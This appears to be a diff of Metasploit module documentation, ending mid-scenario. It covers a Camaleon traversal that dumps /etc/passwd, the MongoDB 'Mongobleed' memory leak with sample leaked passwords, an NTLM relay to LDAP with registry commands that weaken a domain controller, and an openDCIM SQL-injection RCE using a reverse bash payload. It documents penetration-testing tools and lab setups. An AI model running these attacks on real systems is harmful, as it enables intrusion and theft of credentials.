rhost => 10.0.0.45
msf auxiliary(gather/camaleon_download_private_file) > set rport 3000
rport => 3000
msf auxiliary(gather/camaleon_download_private_file) > set ssl false
ssl => false
msf auxiliary(gather/camaleon_download_private_file) > run
[*] Running module against 10.0.0.45
[+] /etc/passwd stored as '/home/kali/.msf4/loot/20260411192711_default_10.0.0.45_camaleon.travers_926890.txt'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
syslog:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:991:991:systemd Resolver:/:/usr/sbin/nologin
uuidd:x:103:103::/run/uuidd:/usr/sbin/nologin
usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
tss:x:105:105:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-oom:x:990:990:systemd Userspace OOM Killer:/:/usr/sbin/nologin
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
whoopsie:x:107:109::/nonexistent:/bin/false
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
avahi:x:108:111:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
tcpdump:x:109:112::/nonexistent:/usr/sbin/nologin
sssd:x:110:113:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
cups-pk-helper:x:112:114:user for cups-pk-helper service,,,:/nonexistent:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
saned:x:113:116::/var/lib/saned:/usr/sbin/nologin
geoclue:x:114:117::/var/lib/geoclue:/usr/sbin/nologin
cups-browsed:x:115:114::/nonexistent:/usr/sbin/nologin
hplip:x:116:7:HPLIP system user,,,:/run/hplip:/bin/false
gnome-remote-desktop:x:988:988:GNOME Remote Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin
polkitd:x:987:987:User for polkitd:/:/usr/sbin/nologin
rtkit:x:117:119:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:118:120:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
gnome-initial-setup:x:119:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:120:121:Gnome Display Manager:/var/lib/gdm3:/bin/false
nm-openvpn:x:121:122:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
bittman:x:1000:1000:bittman:/home/bittman:/bin/bash
postgres:x:122:124:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[*] Auxiliary module execution completed
```
@@ -52,7 +52,7 @@ This module allows us to scan through a series of IP Addresses and provide detai
## Verification Steps
1. Do: ```use auxiliary/scanner/ftp/anonymous```
1. Do: ```use auxiliary/scanner/ftp/ftp_anonymous```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [IP]```
4. Do: ```run```
@@ -62,17 +62,17 @@ This module allows us to scan through a series of IP Addresses and provide detai
### vsFTPd 3.0.3 on Kali
```
msf > use auxiliary/scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 127.0.0.1
msf > use auxiliary/scanner/ftp/ftp_anonymous
msf auxiliary(ftp_anonymous) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(anonymous) > set RPORT 21
msf auxiliary(ftp_anonymous) > set RPORT 21
RPORT => 21
msf auxiliary(anonymous) > exploit
msf auxiliary(ftp_anonymous) > exploit
[+] 127.0.0.1:21 - 127.0.0.1:21 - Anonymous READ (220 (vsFTPd 3.0.3))
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(anonymous) >
msf auxiliary(ftp_anonymous) >
```
## Confirming using NMAP
@@ -1,8 +1,11 @@
## Vulnerable Application
This module exploits CVE-2025-14847, a memory disclosure vulnerability in MongoDB's zlib decompression handling, commonly referred to as "Mongobleed."
This module exploits CVE-2025-14847, a memory disclosure vulnerability in MongoDB's zlib decompression handling, commonly referred to
as "Mongobleed."
By sending crafted `OP_COMPRESSED` messages with inflated BSON document lengths, the server allocates a buffer based on the claimed uncompressed size but only fills it with the actual decompressed data. When MongoDB parses the BSON document, it reads beyond the decompressed buffer into uninitialized memory, returning leaked memory contents in error messages.
By sending crafted `OP_COMPRESSED` messages with inflated BSON document lengths, the server allocates a buffer based on the claimed
uncompressed size but only fills it with the actual decompressed data. When MongoDB parses the BSON document, it reads beyond the
decompressed buffer into uninitialized memory, returning leaked memory contents in error messages.
The vulnerability allows unauthenticated remote attackers to leak server memory which may contain sensitive information such as:
- Database credentials
@@ -11,7 +14,8 @@ The vulnerability allows unauthenticated remote attackers to leak server memory
- Connection strings
- Application data
**Note:** This vulnerability only affects servers with zlib compression enabled. The module will check for zlib compression support before attempting exploitation.
This vulnerability only affects servers with zlib compression enabled. The module checks for zlib compression support before attempting
exploitation.
### Vulnerable Versions
@@ -39,44 +43,14 @@ Per [MongoDB JIRA SERVER-115508](https://jira.mongodb.org/browse/SERVER-115508):
## Verification Steps
1. Install a vulnerable MongoDB version (e.g., MongoDB 7.0.15)
2. Start the MongoDB service
2. Start the MongoDB service with zlib compression enabled
3. Start msfconsole
4. `use auxiliary/scanner/mongodb/cve_2025_14847_mongobleed`
5. `set RHOSTS <target>`
6. `set ACTION CHECK` then `run` (optional - quick vulnerability check)
7. `set ACTION SCAN` then `run` (full exploitation)
6. `check` to verify the target is vulnerable
7. `run` to perform the full memory leak scan
8. Verify that memory contents are leaked and saved to loot
## Actions
The module supports two actions:
### SCAN (Default)
Full exploitation that scans memory offsets and extracts leaked data.
### CHECK
Quick vulnerability check using the Wiz Research "magic packet" technique for deterministic vulnerability detection. This action:
1. Checks the MongoDB version against known vulnerable versions
2. Verifies that zlib compression is enabled on the server
3. Sends a specially crafted packet that triggers the memory leak
4. Analyzes the response for BSON signatures in leaked memory
This provides a quick, low-impact way to confirm vulnerability without performing a full memory scan.
```
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set ACTION CHECK
ACTION => CHECK
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
[*] 192.168.1.100:27017 - Running vulnerability check against 192.168.1.100:27017...
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
[+] 192.168.1.100:27017 - Version 7.0.14 appears vulnerable, confirming with probe...
[*] 192.168.1.100:27017 - Server compressors: zlib, snappy
[*] 192.168.1.100:27017 - Sending Wiz magic packet to confirm vulnerability...
[+] 192.168.1.100:27017 - VULNERABLE - Server leaks memory via CVE-2025-14847 (MongoDB 7.0.14)
```
## Options
### MIN_OFFSET
@@ -95,13 +69,15 @@ Padding added to the claimed uncompressed buffer size. Default: `500`
Minimum bytes to report as an interesting leak in the output. Default: `10`
### QUICK_SCAN
Enable quick scan mode which samples key offsets (power-of-2 boundaries, etc.) instead of scanning every offset. Much faster but may miss some leaks. Default: `false`
Enable quick scan mode which samples key offsets (power-of-2 boundaries, etc.) instead of scanning every offset. Much faster but may
miss some leaks. Default: `false`
### REPEAT
Number of scan passes to perform. Memory contents change over time, so multiple passes can capture more data. Default: `1`
### REUSE_CONNECTION
Reuse TCP connection for faster scanning. When enabled, the module maintains a persistent connection instead of reconnecting for each probe. This can improve scanning speed by 10-50x. Default: `true`
Reuse TCP connection for faster scanning. When enabled, the module maintains a persistent connection instead of reconnecting for each
probe. This can improve scanning speed by 10-50x. Default: `true`
## Advanced Options
@@ -124,29 +100,38 @@ Show progress every N offsets. Set to 0 to disable. Default: `500`
Save all raw MongoDB responses to a separate loot file for offline analysis with tools like `strings`, `binwalk`, etc. Default: `false`
### SAVE_JSON
Save leaked data as a JSON report with full metadata including offsets, timestamps, base64-encoded data, and detected secrets. Useful for automated processing or integration with other tools. Default: `true`
Save leaked data as a JSON report with full metadata including offsets, timestamps, base64-encoded data, and detected secrets. Useful
for automated processing or integration with other tools. Default: `true`
## Scenarios
### Using the CHECK Action
### Vulnerability Check
The module supports the standard `check` command. It fingerprints the MongoDB version, verifies zlib compression is enabled, and sends
a crafted magic packet to confirm exploitability.
```
msf6 > use auxiliary/scanner/mongodb/cve_2025_14847_mongobleed
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set ACTION CHECK
ACTION => CHECK
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > check
[*] 192.168.1.100:27017 - Running vulnerability check against 192.168.1.100:27017...
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
[+] 192.168.1.100:27017 - Version 7.0.14 appears vulnerable, confirming with probe...
[*] 192.168.1.100:27017 - Server compressors: zlib, snappy
[*] 192.168.1.100:27017 - Sending Wiz magic packet to confirm vulnerability...
[+] 192.168.1.100:27017 - VULNERABLE - Server leaks memory via CVE-2025-14847 (MongoDB 7.0.14)
[+] 192.168.1.100:27017 - The target is vulnerable. Server leaks memory via crafted OP_COMPRESSED message (MongoDB 4.4.26)
```
### MongoDB 7.0.14 on Linux (with Connection Reuse)
When pointed at a non-MongoDB service, the check correctly identifies it as not vulnerable:
```
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.200
RHOSTS => 192.168.1.200
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RPORT 80
RPORT => 80
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > check
[-] 192.168.1.200:80 - The target is not exploitable. Target does not appear to be a MongoDB service
```
### MongoDB 4.4.26 on Windows
```
msf6 > use auxiliary/scanner/mongodb/cve_2025_14847_mongobleed
@@ -154,26 +139,25 @@ msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1
RHOSTS => 192.168.1.100
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
[*] 192.168.1.100:27017 - Server compressors: zlib, snappy
[*] 192.168.1.100:27017 - MongoDB version: 4.4.26
[+] 192.168.1.100:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
[*] 192.168.1.100:27017 - Server compressors: zlib
[*] 192.168.1.100:27017 - Connection reuse enabled for faster scanning
[*] 192.168.1.100:27017 - Scanning 8173 offsets (20-8192, step=1)
[+] 192.168.1.100:27017 - offset=20 len=82 : [conn38248] end connection 10.0.0.5:36845 (0 connections now open)
[+] 192.168.1.100:27017 - offset=163 len=617 : driver: { name: "mongoc / ext-mongodb:PHP ", version: "1.24.3" }
[+] 192.168.1.100:27017 - offset=501 len=40 : id bson type in element with field name
[*] 192.168.1.100:27017 - Progress: 500/8173 (6.1%) - 7 leaks found - ETA: 49s
[+] 192.168.1.100:27017 - offset=77 len=39 : conn38248] end connection 10.0.0.5:36845
[*] 192.168.1.100:27017 - Progress: 500/8173 (6.1%) - 3 leaks found - ETA: 49s
[+] 192.168.1.100:27017 - offset=757 len=12 : password=abc
[!] 192.168.1.100:27017 - Secret pattern detected at offset 757: 'password' in context: ...config: { password=abc123&user=admin...
[*] 192.168.1.100:27017 - Progress: 1000/8173 (12.2%) - 11 leaks found - ETA: 42s
[!] 192.168.1.100:27017 - Secret pattern detected at offset 757: 'password'
[*] 192.168.1.100:27017 - Progress: 1000/8173 (12.2%) - 5 leaks found - ETA: 42s
...
[!] 192.168.1.100:27017 - Potential secrets detected:
[!] 192.168.1.100:27017 - - Pattern 'password' at offset 757 (pos 12): ...config: { password=abc123&user=admin...
[!] 192.168.1.100:27017 - - Pattern 'password' at offset 757
[+] 192.168.1.100:27017 - Total leaked: 1703 bytes
[+] 192.168.1.100:27017 - Unique fragments: 13
[+] 192.168.1.100:27017 - Total leaked: 703 bytes
[+] 192.168.1.100:27017 - Unique fragments: 8
[+] 192.168.1.100:27017 - Leaked data saved to: /root/.msf4/loot/20251230_mongobleed.bin
[+] 192.168.1.100:27017 - JSON report saved to: /root/.msf4/loot/20251230_mongobleed.json
[*] 192.168.1.100:27017 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -182,12 +166,15 @@ msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
```
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set REPEAT 3
REPEAT => 3
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set MAX_OFFSET 16384
MAX_OFFSET => 16384
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
[*] 192.168.1.100:27017 - MongoDB version: 4.4.26
[+] 192.168.1.100:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
[*] 192.168.1.100:27017 - Server compressors: zlib
[*] 192.168.1.100:27017 - Running 3 scan passes to maximize data collection...
[*] 192.168.1.100:27017 - Connection reuse enabled for faster scanning
@@ -211,15 +198,16 @@ msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
```
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set QUICK_SCAN true
QUICK_SCAN => true
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
[*] 192.168.1.100:27017 - MongoDB version: 4.4.26
[+] 192.168.1.100:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
[*] 192.168.1.100:27017 - Server compressors: zlib
[*] 192.168.1.100:27017 - Connection reuse enabled for faster scanning
[*] 192.168.1.100:27017 - Scanning 97 offsets (20-8192, step=1, quick mode)
[+] 192.168.1.100:27017 - offset=20 len=45 : connection string fragment...
[+] 192.168.1.100:27017 - offset=128 len=23 : mongodb://admin:pass...
[+] 192.168.1.100:27017 - Total leaked: 234 bytes
@@ -228,33 +216,52 @@ msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
[+] 192.168.1.100:27017 - JSON report saved to: /root/.msf4/loot/20251230_mongobleed.json
```
### Server Without zlib Compression
```
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > check rhost=192.168.123.144
[*] 192.168.123.144:27017 - The target is not exploitable. Server does not have zlib compression enabled (MongoDB 4.4.26)
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run rhost=192.168.123.144
[*] 192.168.123.144:27017 - MongoDB version: 4.4.26
[+] 192.168.123.144:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
[*] 192.168.123.144:27017 - Server compressors: none
[-] 192.168.123.144:27017 - Server does not support zlib compression - vulnerability not exploitable
[*] 192.168.123.144:27017 - The CVE-2025-14847 vulnerability requires zlib compression to be enabled
[*] 192.168.123.144:27017 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### JSON Report Output
The JSON report includes full metadata for each leak:
When `SAVE_JSON` is enabled (the default), the module saves a structured JSON report alongside the raw loot. This includes full
metadata for each leak fragment:
```json
{
"scan_info": {
"target": "192.168.1.100",
"port": 27017,
"mongodb_version": "7.0.14",
"mongodb_version": "4.4.26",
"scan_time": "2025-12-30T14:30:00Z",
"cve": "CVE-2025-14847"
},
"summary": {
"total_leaks": 13,
"total_bytes": 1703,
"secrets_found": 2
"total_leaks": 8,
"total_bytes": 703,
"secrets_found": 1
},
"secrets": [
"Pattern 'password' at offset 757..."
],
"leaks": [
{
"offset": 20,
"length": 82,
"data_base64": "W2Nvbm4zODI0OF0gZW5kIGNvbm5lY3Rpb24...",
"data_printable": "[conn38248] end connection 10.0.0.5:36845...",
"offset": 77,
"length": 39,
"data_base64": "Y29ubjM4MjQ4XSBlbmQgY29ubmVjdGlvbi4uLg==",
"data_printable": "conn38248] end connection 10.0.0.5:36845",
"has_secret": false,
"timestamp": "2025-12-30T14:30:01Z"
}
@@ -262,8 +269,9 @@ The JSON report includes full metadata for each leak:
}
```
You can process the JSON with standard tools:
```bash
The JSON report can be processed with standard tools:
```
# Extract all leaked data
cat mongobleed.json | jq -r '.leaks[].data_printable'
@@ -278,43 +286,33 @@ cat mongobleed.json | jq '.summary'
```
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set SAVE_RAW_RESPONSES true
SAVE_RAW_RESPONSES => true
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
[*] 192.168.1.100:27017 - MongoDB version: 4.4.26
[+] 192.168.1.100:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
...
[+] 192.168.1.100:27017 - Total leaked: 1703 bytes
[+] 192.168.1.100:27017 - Unique fragments: 13
[+] 192.168.1.100:27017 - Total leaked: 703 bytes
[+] 192.168.1.100:27017 - Unique fragments: 8
[+] 192.168.1.100:27017 - Leaked data saved to: /root/.msf4/loot/20251230_mongobleed.bin
[+] 192.168.1.100:27017 - Raw responses saved to: /root/.msf4/loot/20251230_mongobleed_raw.bin
```
You can then analyze the raw responses offline:
```bash
```
strings /root/.msf4/loot/20251230_mongobleed_raw.bin | grep -i password
```
### Server Without zlib Compression
```
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
[*] 192.168.1.100:27017 - Server compressors: snappy
[-] 192.168.1.100:27017 - Server does not support zlib compression - vulnerability not exploitable
[*] 192.168.1.100:27017 - The CVE-2025-14847 vulnerability requires zlib compression to be enabled
[*] Auxiliary module execution completed
```
## Technical Details
### How the Vulnerability Works
The vulnerability exists in MongoDB's `message_compressor_zlib.cpp`. The bug was caused by returning `output.length()` (the allocated buffer size) instead of the actual decompressed data length. This allowed attackers to:
The vulnerability exists in MongoDB's `message_compressor_zlib.cpp`. The bug was caused by returning `output.length()` (the allocated
buffer size) instead of the actual decompressed data length. This allowed attackers to:
1. Send a compressed message claiming a large uncompressed size
2. MongoDB allocates a buffer based on the claimed size
@@ -324,7 +322,12 @@ The vulnerability exists in MongoDB's `message_compressor_zlib.cpp`. The bug was
### Detection Technique
The Wiz Research "magic packet" used in the `check` method sends a minimal BSON document `{"a": 1}` inside a malformed `OP_COMPRESSED` message with an inflated `uncompressedSize` field. If the server responds with BSON signatures or field name errors containing unexpected data, the vulnerability is confirmed.
The Wiz Research "magic packet" used in the `check` command sends a minimal BSON document `{"a": 1}` inside a malformed
`OP_COMPRESSED` message with an inflated `uncompressedSize` field. If the server responds with BSON parsing errors, the vulnerability
is confirmed, since a patched server rejects the inflated size before parsing.
The module validates that the target is actually a MongoDB service before probing, preventing false positives against non-MongoDB
services. Standard MongoDB error message strings are filtered from leak results to avoid reporting server error text as leaked memory.
## References
@@ -0,0 +1,108 @@
## Vulnerable Application
### Description
This module sets up an HTTP server that attempts to execute an NTLM relay attack against an LDAP server on the
configured `RHOSTS`. The relay attack targets NTLMv1 authentication, as NTLMv2 cannot be relayed to LDAP due to the
Message Integrity Check (MIC). The module automatically removes the relevant flags to bypass signing.
This module supports relaying one HTTP authentication attempt to multiple LDAP servers. After attempting to relay to
one target, the relay server sends a 307 to the client and if the client is configured to respond to redirects, the
client resends the NTLMSSP_NEGOTIATE request to the relay server. Multi relay will not work if the client does not
respond to redirects.
The module supports relaying NTLM authentication which has been wrapped in GSS-SPNEGO. HTTP authentication info is sent
in the WWW-Authenticate header. In the auth header base64 encoded NTLM messages are denoted with the NTLM prefix, while
GSS wrapped NTLM messages are denoted with the Negotiate prefix. Note that in some cases non-GSS wrapped NTLM auth can
be prefixed with Negotiate.
If the relay attack is successful, an LDAP session is created on the target. This session can be used by other modules
that support LDAP sessions, such as:
- `admin/ldap/rbcd`
- `auxiliary/gather/ldap_query`
The module also supports capturing NTLMv1 and NTLMv2 hashes.
### Setup
For this relay attack to be successful, it is important to understand the difference between the Target Server (the
Domain Controller receiving the relayed authentication) and the Victim Client (the machine sending the initial HTTP
request) and how their respective configurations can impact the success of the attack.
The Domain Controller must be configured to accept LM or NTLM authentication. This means the `LmCompatibilityLevel`
registry key on the DC must be set to 4 or lower. If it is set to `5` ("Send NTLMv2 response only. Refuse
LM and NTLM"), the DC will reject the relayed authentication and the module will fail.
You can verify or modify the Domain Controller's level using the following commands:
```cmd
# To check the current level:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel
# To set the level to 4 (or lower):
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x4 /f
```
The client being coerced must be willing to send the vulnerable NTLM responses.
- Non-Windows Clients: Custom tools or Linux-based HTTP clients are unaffected by Windows registry keys and can easily
be relayed to a vulnerable DC.
- Windows Clients: If you are coercing a native Windows HTTP client (like `Invoke-WebRequest` or a browser), the victim
machine's `LmCompatibilityLevel` dictates what it is allowed to send. To successfully relay a Windows client, its local
registry key typically needs to be set to `2` or lower. If the Windows client is operating at level `3` or higher, it
restricts itself to sending only NTLMv2 responses, which will cause the relay to fail even if the target DC is vulnerable.
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/server/relay/http_to_ldap`
3. Set the `RHOSTS` options
4. Run the module
5. Send an authentication attempt to the relay server
6. `Invoke-WebRequest -Uri http://192.0.2.1/test -UseDefaultCredentials`
7. Check the output for successful relays and captured hashes
## Scenarios
### Relaying to multiple targets
```
msf auxiliary(server/relay/http_to_ldap) > set rhosts 172.16.199.200 172.16.199.201
rhosts => 172.16.199.200 172.16.199.201
msf auxiliary(server/relay/http_to_ldap) > run
[*] Auxiliary module running as background job 2.
[*] Relay Server started on 0.0.0.0:80
[*] Server started.
msf auxiliary(server/relay/http_to_ldap) > [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to ldap://172.16.199.201:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.201:389, attempting to relay back to client
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded
[*] Moving to next target (172.16.199.200). Issuing 307 Redirect to /ZdF7Ufkm0I
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to ldap://172.16.199.200:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded
[*] Target list exhausted for 172.16.199.130. Closing connection.
msf auxiliary(server/relay/http_to_ldap) > sessions -i -1
[*] Starting interaction with 5...
LDAP (172.16.199.200) > getuid
[*] Server username: KERBEROS\Administrator
LDAP (172.16.199.200) >
```
@@ -0,0 +1,231 @@
## Vulnerable Application
This module exploits a SQL injection vulnerability in openDCIM's `install.php` endpoint
(CVE-2026-28515) to achieve remote code execution.
After installation, `install.php` remains accessible and processes LDAP configuration
parameters via `UpdateParameter()` without authentication or input sanitization. The
attacker injects stacked SQL queries through the LDAP form to overwrite the Graphviz
`dot` binary path in `fac_Config`, then triggers `report_network_map.php` which calls
`exec()` with the poisoned value.
### Affected Versions
openDCIM version 23.04 (last public release), through commit 4467e9c4, is affected. Tested up to 25.01.
### Attack Chain
1. POST to `install.php` with stacked SQL via LDAP parameters (CWE-862 + CWE-89)
2. Backup original config, overwrite `dot` parameter with command payload
3. GET `report_network_map.php` which calls `exec()` with the poisoned `dot` value (CWE-78)
4. Restore original configuration from backup table
## Lab Setup
### Docker (Recommended)
The official openDCIM Docker image (`opendcim/opendcim`) ships with no authentication
configured. openDCIM delegates auth entirely to Apache via `$_SERVER['REMOTE_USER']` -
without it, every page errors out. Real-world Docker deployments work around this by adding
`SetEnv REMOTE_USER dcim` to the Apache vhost, which sets `REMOTE_USER` for every request
without any actual credential check. This makes the entire application unauthenticated.
The lab reproduces this scenario. Create the following files:
**docker-compose.yml:**
```yaml
services:
web:
build: .
container_name: opendcim-lab
ports:
- "18091:80"
environment:
OPENDCIM_DB_HOST: db
depends_on:
db:
condition: service_healthy
db:
image: mariadb:10.7
container_name: opendcim-db
environment:
MARIADB_ROOT_PASSWORD: rootpass
MARIADB_DATABASE: dcim
MARIADB_USER: dcim
MARIADB_PASSWORD: dcim
volumes:
- db_data:/var/lib/mysql
healthcheck:
test: ["CMD", "mariadb", "-udcim", "-pdcim", "-e", "SELECT 1"]
interval: 5s
timeout: 5s
retries: 20
volumes:
db_data:
```
**Dockerfile:**
```dockerfile
FROM opendcim/opendcim:24.01-beta
COPY 000-default.conf /etc/apache2/sites-available/
```
**000-default.conf:**
```apache
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
<Directory "/var/www/html">
Options -Indexes
AllowOverride All
SetEnv REMOTE_USER dcim
</Directory>
AllowEncodedSlashes On
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
```
Then run:
```bash
docker compose up -d
```
This starts openDCIM on port 18091 with `SetEnv REMOTE_USER dcim`, reproducing how Docker
deployments are configured in the wild. No HTTP credentials are needed.
**Note:** If the target uses HTTP Basic Auth (htpasswd/LDAP), set `HttpUsername` and
`HttpPassword` accordingly. Any valid Apache credential is enough - `install.php` has no
role check.
**Note:** The fetch payload handler is not supported with Target 0 (Unix/Linux Command Shell)
since standard fetch tools (curl, wget, etc.) are typically not available in the target's
execution context (`exec()` via Graphviz dot path).
## Verification Steps
1. Start msfconsole
2. `use exploit/linux/http/opendcim_install_sqli_rce`
3. `set RHOSTS <target>`
4. `set RPORT <port>`
5. `set HttpUsername <user>` (if Basic Auth is configured)
6. `set HttpPassword <pass>`
7. `set LHOST <attacker_ip>`
8. `set payload cmd/unix/reverse_bash`
9. `check`
10. `exploit`
11. You should get a shell as the Apache user (typically `www-data`)
## Options
### HttpUsername (Advanced)
HTTP Basic Auth username. Leave empty for deployments using Apache `SetEnv REMOTE_USER`.
### HttpPassword (Advanced)
HTTP Basic Auth password. Leave empty for deployments using Apache `SetEnv REMOTE_USER`.
## Scenarios
### openDCIM 24.01 on Ubuntu - Command Shell (Target 0)
```
msf6 > use exploit/linux/http/opendcim_install_sqli_rce
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RPORT 18091
RPORT => 18091
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set HttpUsername dcim
